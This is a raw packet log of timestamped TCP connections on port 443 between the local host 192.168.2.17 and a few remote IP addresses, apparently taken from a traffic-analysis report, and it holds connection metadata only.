Apr 26, 2024 22:18:22.466433048 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.466485023 CEST	49723	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.466505051 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.466871977 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.466927052 CEST	49723	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.466942072 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.467051029 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.467096090 CEST	49723	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.467109919 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.467741966 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.467818022 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.467820883 CEST	49723	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.467834949 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.467880964 CEST	49723	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.467916012 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.468214035 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.468261957 CEST	49723	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.468274117 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.468473911 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.468521118 CEST	49723	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.468533039 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.468552113 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.468616009 CEST	49723	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.468770981 CEST	49723	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.468820095 CEST	443	49723	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.624259949 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.624291897 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.624373913 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.624675035 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.624686003 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.884511948 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.884812117 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.884833097 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.885710955 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.885781050 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.887064934 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.887115955 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.887229919 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:22.887237072 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:22.939285994 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.190314054 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.190412045 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.190473080 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.190490961 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.190785885 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.190834045 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.190840960 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.190913916 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.190939903 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.190958977 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.190968037 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.191014051 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.191370010 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.191760063 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.191804886 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.191812992 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.192168951 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.192209959 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.192238092 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.192246914 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.192291975 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.192462921 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.192568064 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.192609072 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.192614079 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.192689896 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.192728996 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.192734957 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.192989111 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.193031073 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.193037987 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.193506956 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.193564892 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.193571091 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.193628073 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.193670034 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.193675041 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.194168091 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.194237947 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.194245100 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.194585085 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.194610119 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.194639921 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.194645882 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.194690943 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.194696903 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.195301056 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.195365906 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.195372105 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.195475101 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.195514917 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.195522070 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.196014881 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.196064949 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.196072102 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.196202993 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.196247101 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.196254015 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.196841955 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.196904898 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.196911097 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.197781086 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.197858095 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.197864056 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.240283966 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.315910101 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.316020966 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.316040039 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.316087008 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.316395998 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.316452026 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.317323923 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.317385912 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.317728996 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.317790985 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.318470001 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.318532944 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.319648981 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.319745064 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.319952011 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.320014000 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.320713043 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.320784092 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.321415901 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.321511030 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.321719885 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.321779966 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.322623968 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.322691917 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.323340893 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.323407888 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.323585987 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.323638916 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.324217081 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.324294090 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.325429916 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.325475931 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.325504065 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.325512886 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.325527906 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.365284920 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.369314909 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.369398117 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.413289070 CEST	49680	443	192.168.2.17	20.189.173.13
Apr 26, 2024 22:18:23.440140009 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.440273046 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.441000938 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.441044092 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.441063881 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.441071033 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.441088915 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.441160917 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.441220045 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.441323996 CEST	49724	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.441337109 CEST	443	49724	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.482170105 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.482220888 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.482352018 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.482491016 CEST	49726	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.482507944 CEST	443	49726	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.482561111 CEST	49726	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.482929945 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.482948065 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.483155966 CEST	49726	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.483166933 CEST	443	49726	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.743153095 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.743421078 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.743447065 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.743779898 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.744087934 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.744208097 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.744223118 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.744245052 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.744353056 CEST	443	49726	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.744563103 CEST	49726	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.744577885 CEST	443	49726	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.744868040 CEST	443	49726	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.745160103 CEST	49726	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.745209932 CEST	443	49726	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.745271921 CEST	49726	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.745291948 CEST	443	49726	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:23.792304993 CEST	49726	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:23.792309999 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:24.492589951 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:24.492615938 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:24.492701054 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:24.492969036 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:24.492983103 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:24.751322031 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:24.809254885 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:24.943372965 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:24.943383932 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:24.944092989 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:24.944818974 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:24.944883108 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:24.945173979 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:24.988120079 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.004159927 CEST	443	49726	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.004216909 CEST	443	49726	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.004302025 CEST	49726	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.005203009 CEST	49726	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.005213022 CEST	443	49726	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.084054947 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.084080935 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.084104061 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.084201097 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.084216118 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.084269047 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.084398985 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.084500074 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.084513903 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.084563971 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.084570885 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.084613085 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.085165024 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.085319042 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.085335016 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.085360050 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.085366964 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.085408926 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.085413933 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.086031914 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.086103916 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.086107016 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.086111069 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.086157084 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.086183071 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.087049007 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.087066889 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.087085962 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.087119102 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.087126970 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.087155104 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.087733984 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.087789059 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.087795973 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.087970972 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.087990046 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.088016033 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.088023901 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.088085890 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.088591099 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.088700056 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.088749886 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.088756084 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.088799000 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.088866949 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.088872910 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.089586973 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.089648962 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.089653969 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.089740992 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.089761019 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.089782953 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.089788914 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.089889050 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.090352058 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.090394020 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.090416908 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.090439081 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.090445995 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.090481997 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.091223955 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.091329098 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.091382027 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.091392040 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.091428995 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.110883951 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.110981941 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.111016035 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.111037016 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.111056089 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.111093998 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.111099958 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.111109972 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.111152887 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.111313105 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.111661911 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.111702919 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.111705065 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.111716032 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.111753941 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.111763000 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.112308025 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.112359047 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.112369061 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.116611958 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.116672993 CEST	443	49727	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.116744041 CEST	49727	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.152273893 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.152283907 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.200324059 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.261650085 CEST	49729	443	192.168.2.17	152.199.4.44
Apr 26, 2024 22:18:25.261766911 CEST	443	49729	152.199.4.44	192.168.2.17
Apr 26, 2024 22:18:25.261876106 CEST	49729	443	192.168.2.17	152.199.4.44
Apr 26, 2024 22:18:25.268444061 CEST	49729	443	192.168.2.17	152.199.4.44
Apr 26, 2024 22:18:25.268500090 CEST	443	49729	152.199.4.44	192.168.2.17
Apr 26, 2024 22:18:25.358020067 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.358313084 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.358360052 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.358417988 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.358428001 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.358473063 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.358824015 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.359013081 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.359049082 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.359056950 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.359064102 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.359098911 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.359483957 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.359651089 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.359695911 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.359705925 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.360266924 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.360318899 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.360326052 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.360419035 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.360469103 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.360475063 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.360537052 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.360583067 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.360591888 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.361109018 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.361190081 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.362751007 CEST	49725	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.362761974 CEST	443	49725	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.397902012 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.397916079 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.397990942 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.398137093 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.398164988 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.398247957 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.398251057 CEST	49732	443	192.168.2.17	172.67.223.170
